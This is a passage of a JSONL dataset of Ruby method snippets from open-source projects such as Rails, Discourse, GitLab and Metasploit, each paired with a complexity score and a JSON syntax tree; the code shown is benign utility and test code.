{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/marshal_serialization_test.rb","start_line":59,"raw_source":"def test_rails_6_1_rountrip\n    topic = Topic.find(1)\n    topic.replies.to_a\n    topic = Marshal.load(Marshal.dump(topic))\n\n    assert_not_predicate topic, :new_record?\n    assert_equal 1, topic.id\n    assert_equal \"The First Topic\", topic.title\n    assert_equal \"Have a nice day\", topic.content\n    assert_predicate topic.association(:replies), :loaded?\n  end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rails_6_1_rountrip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"to_a\"]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Marshal\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"lvar\",\"children\":[\"topic\"]},{\"type\":\"sym\",\"children\":[\"new_record?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"The First Topic\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Have a nice day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"association\",{\"type\":\"sym\",\"children\":[\"replies\"]}]},{\"type\":\"sym\",\"children\":[\"loaded?\"]}]}]}]}","id":"917f8c08-4891-439e-940d-090c77164c44"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/x64/reverse_http_x64.rb","start_line":157,"raw_source":"def asm_generate_ascii_array(str)\n    (str.to_s + \"\\x00\").\n      unpack(\"C*\").\n      map{ |c| \"0x%.2x\" % c }.\n      join(\",\")\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"asm_generate_ascii_array\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]},\"to_s\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"0x%.2x\"]},\"%\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}","id":"f44d28d3-09ab-4e89-94f9-714c94b32b62"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_email_logs.rb","start_line":50,"raw_source":"def has_to_address?(to_address)\n          element.has_css?(\"td:nth-of-type(3)\", text: to_address)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_to_address?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to_address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"element\"]},\"has_css?\",{\"type\":\"str\",\"children\":[\"td:nth-of-type(3)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"to_address\"]}]}]}]}]}","id":"7c922a7a-1695-4e80-94f0-5c4cd7ac7671"}
{"repo_name":"openproject","file_path":"./repos/openproject/lookbook/previews/op_primer/status_button_component_preview.rb","start_line":91,"raw_source":"def with_description(size: :medium)\n      status = OpPrimer::StatusButtonOption.new(name: \"Open\",\n                                                color_ref: :open,\n                                                color_namespace: :meeting_status,\n                                                icon: :unlock,\n                                                description: \"The status is open\")\n\n      items = [\n        status,\n        OpPrimer::StatusButtonOption.new(name: \"Closed\",\n                                         color_ref: :closed,\n                                         color_namespace: :meeting_status,\n                                         icon: :lock,\n                                         description: \"The status is closed\")\n      ]\n\n      component = OpPrimer::StatusButtonComponent.new(current_status: status,\n                                                      items: items,\n                                                      readonly: false,\n                                                      button_arguments: { size:, title: \"foo\" })\n\n      render(component)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_description\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"size\",{\"type\":\"sym\",\"children\":[\"medium\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"StatusButtonOption\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_ref\"]},{\"type\":\"sym\",\"children\":[\"open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_namespace\"]},{\"type\":\"sym\",\"children\":[\"meeting_status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"unlock\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The status is open\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"items\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"StatusButtonOption\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Closed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_ref\"]},{\"type\":\"sym\",\"children\":[\"closed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"color_namespace\"]},{\"type\":\"sym\",\"children\":[\"meeting_status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"lock\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The status is closed\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"component\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpPrimer\"]},\"StatusButtonComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"items\"]},{\"type\":\"lvar\",\"children\":[\"items\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"button_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"lvar\",\"children\":[\"component\"]}]}]}]}","id":"e2b3be1b-6d92-44c1-89dd-140d2efed4c7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/render_test.rb","start_line":991,"raw_source":"def @controller.new_controller_thread(&block)\n      Thread.new(&block)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"new_controller_thread\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"d6ec1742-d4fe-4d26-a15b-959e5c91d531"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/pdf_generator/prince_pdf_generator.rb","start_line":17,"raw_source":"def pdf_from_string(html_string, stylesheet)\n    options = {\n      :params  => {\n        :input  => \"html\",\n        :style  => stylesheet,\n        :log    => Rails.root.join(\"log/prince.log\"),\n        :output => \"-\", # Write to stdout\n        \"-\"     => nil  # Read from stdin\n      },\n      :in_data => html_string\n    }\n\n    require 'awesome_spawn'\n    _log.debug do\n      command = AwesomeSpawn.build_command_line(executable, options[:params])\n      \"Executing: #{command}\"\n    end\n    AwesomeSpawn.run!(executable, options).output\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pdf_from_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html_string\"]},{\"type\":\"arg\",\"children\":[\"stylesheet\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"str\",\"children\":[\"html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"lvar\",\"children\":[\"stylesheet\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"join\",{\"type\":\"str\",\"children\":[\"log/prince.log\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"str\",\"children\":[\"-\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_data\"]},{\"type\":\"lvar\",\"children\":[\"html_string\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"awesome_spawn\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AwesomeSpawn\"]},\"build_command_line\",{\"type\":\"send\",\"children\":[null,\"executable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"params\"]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AwesomeSpawn\"]},\"run!\",{\"type\":\"send\",\"children\":[null,\"executable\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"output\"]}]}]}","id":"c0131f88-c21f-4f2f-97cd-d34ae1c77d28"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/collection_proxy.rb","start_line":1049,"raw_source":"def <<(*records)\n        proxy_association.concat(records) && self\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"<<\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"records\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proxy_association\"]},\"concat\",{\"type\":\"lvar\",\"children\":[\"records\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"a00783e2-4890-488f-aae5-7647727c4201"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/bind_parameter_test.rb","start_line":261,"raw_source":"def bind_params(ids)\n          collector = @connection.send(:collector)\n          bind_params = ids.map { |i| Arel::Nodes::BindParam.new(i) }\n          sql, _ = @connection.visitor.compile(bind_params, collector)\n          sql\n        end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"bind_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"send\",{\"type\":\"sym\",\"children\":[\"collector\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bind_params\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"BindParam\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"visitor\"]},\"compile\",{\"type\":\"lvar\",\"children\":[\"bind_params\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"lvar\",\"children\":[\"sql\"]}]}]}","id":"f2cb83d3-821a-441a-9da8-fcdb1262e1f2"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/for_tag_test.rb","start_line":429,"raw_source":"def test_iterate_with_load_slice_when_limit_applied\n    loader   = LoaderDrop.new([1, 2, 3, 4, 5])\n    assigns  = { 'items' => loader }\n    expected = '1'\n    template = '{% for item in items limit:1 %}{{item}}{% endfor %}'\n    assert_template_result(expected, template, assigns)\n    assert(!loader.each_called)\n    assert(loader.load_slice_called)\n  end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_iterate_with_load_slice_when_limit_applied\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loader\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoaderDrop\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"assigns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"items\"]},{\"type\":\"lvar\",\"children\":[\"loader\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"str\",\"children\":[\"{% for item in items limit:1 %}{{item}}{% endfor %}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"assigns\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"each_called\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"load_slice_called\"]}]}]}]}","id":"0f98f067-8c72-4714-9c4c-c20270e0b345"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1165,"raw_source":"def parent?\n      child_pipelines.exists?\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parent?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"child_pipelines\"]},\"exists?\"]}]}","id":"b15d2826-3b7f-4343-a032-b1faa3c20e6f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/timestamp_test.rb","start_line":123,"raw_source":"def test_group_by_date\n    keys = Topic.group(\"date_trunc('month', created_at)\").count.keys\n    assert_operator keys.length, :>, 0\n    keys.each { |k| assert_kind_of Time, k }\n  end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_group_by_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"group\",{\"type\":\"str\",\"children\":[\"date_trunc('month', created_at)\"]}]},\"count\"]},\"keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"length\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Time\"]},{\"type\":\"lvar\",\"children\":[\"k\"]}]}]}]}]}","id":"a8bf9ef0-3a09-403e-8800-c5fa77872baa"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/tabular_form_builder.rb","start_line":233,"raw_source":"def field_container_wrap_field(field_html, options = {})\n    if options[:no_label]\n      field_html\n    else\n      classes = options[:visible_overflow] ? \"-visible-overflow\" : \"\"\n      content_tag(:span, field_html, class: options[:no_class] ? classes : \"#{classes} form--field-container\")\n    end\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"field_container_wrap_field\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_html\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_label\"]}]},{\"type\":\"lvar\",\"children\":[\"field_html\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"classes\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"visible_overflow\"]}]},{\"type\":\"str\",\"children\":[\"-visible-overflow\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"span\"]},{\"type\":\"lvar\",\"children\":[\"field_html\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"no_class\"]}]},{\"type\":\"lvar\",\"children\":[\"classes\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]}]},{\"type\":\"str\",\"children\":[\" form--field-container\"]}]}]}]}]}]}]}]}]}","id":"5bb5d133-f6cd-45a4-935c-9028aa31688c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post.rb","start_line":963,"raw_source":"def self.public_posts_count_per_day(\n    start_date,\n    end_date,\n    category_id = nil,\n    include_subcategories = false,\n    group_ids = nil\n  )\n    result =\n      public_posts.where(\n        \"posts.created_at >= ? AND posts.created_at <= ?\",\n        start_date,\n        end_date,\n      ).where(post_type: Post.types[:regular])\n\n    if category_id\n      if include_subcategories\n        result = result.where(\"topics.category_id IN (?)\", Category.subcategory_ids(category_id))\n      else\n        result = result.where(\"topics.category_id IN (?)\", category_id)\n      end\n    end\n    if group_ids\n      result =\n        result\n          .joins(\"INNER JOIN users ON users.id = posts.user_id\")\n          .joins(\"INNER JOIN group_users ON group_users.user_id = users.id\")\n          .where(\"group_users.group_id IN (?)\", group_ids)\n    end\n\n    result.group(\"date(posts.created_at)\").order(\"date(posts.created_at)\").count\n  end","complexity_score":28.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"public_posts_count_per_day\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_date\"]},{\"type\":\"arg\",\"children\":[\"end_date\"]},{\"type\":\"optarg\",\"children\":[\"category_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"include_subcategories\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"group_ids\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_posts\"]},\"where\",{\"type\":\"str\",\"children\":[\"posts.created_at >= ? AND posts.created_at <= ?\"]},{\"type\":\"lvar\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"end_date\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"regular\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category_id\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_subcategories\"]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"where\",{\"type\":\"str\",\"children\":[\"topics.category_id IN (?)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"subcategory_ids\",{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"where\",{\"type\":\"str\",\"children\":[\"topics.category_id IN (?)\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_ids\"]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"joins\",{\"type\":\"str\",\"children\":[\"INNER JOIN users ON users.id = posts.user_id\"]}]},\"joins\",{\"type\":\"str\",\"children\":[\"INNER JOIN group_users ON group_users.user_id = users.id\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"group_users.group_id IN (?)\"]},{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"group\",{\"type\":\"str\",\"children\":[\"date(posts.created_at)\"]}]},\"order\",{\"type\":\"str\",\"children\":[\"date(posts.created_at)\"]}]},\"count\"]}]}]}","id":"cbabac3d-24d1-4bf5-8135-a6cb1f4969d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/terraform/tfplan.rb","start_line":40,"raw_source":"def job_details(job)\n            {\n              'job_id' => job.id.to_s,\n              'job_name' => job.name,\n              'job_path' => Gitlab::Routing.url_helpers.project_job_path(job.project, job)\n            }\n          end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"job_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"id\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"job_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"project_job_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}","id":"43dc345b-bf77-4e08-a262-f8b94d79a1dc"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/integration/watched_words_spec.rb","start_line":206,"raw_source":"def should_flag_post(author, raw, topic)\n      post = Fabricate(:post, raw: raw, topic: topic, user: author)\n      expect { Jobs::ProcessPost.new.execute(post_id: post.id) }.to change { PostAction.count }.by(\n        1,\n      )\n      expect(\n        PostAction.where(\n          post_id: post.id,\n          post_action_type_id: PostActionType.types[:inappropriate],\n        ).exists?,\n      ).to eq(true)\n    end","complexity_score":27.55,"ast_json":"{\"type\":\"def\",\"children\":[\"should_flag_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"author\"]},{\"type\":\"arg\",\"children\":[\"raw\"]},{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"author\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"ProcessPost\"]},\"new\"]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"id\"]}]}]}]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"change\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostAction\"]},\"count\"]}]},\"by\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\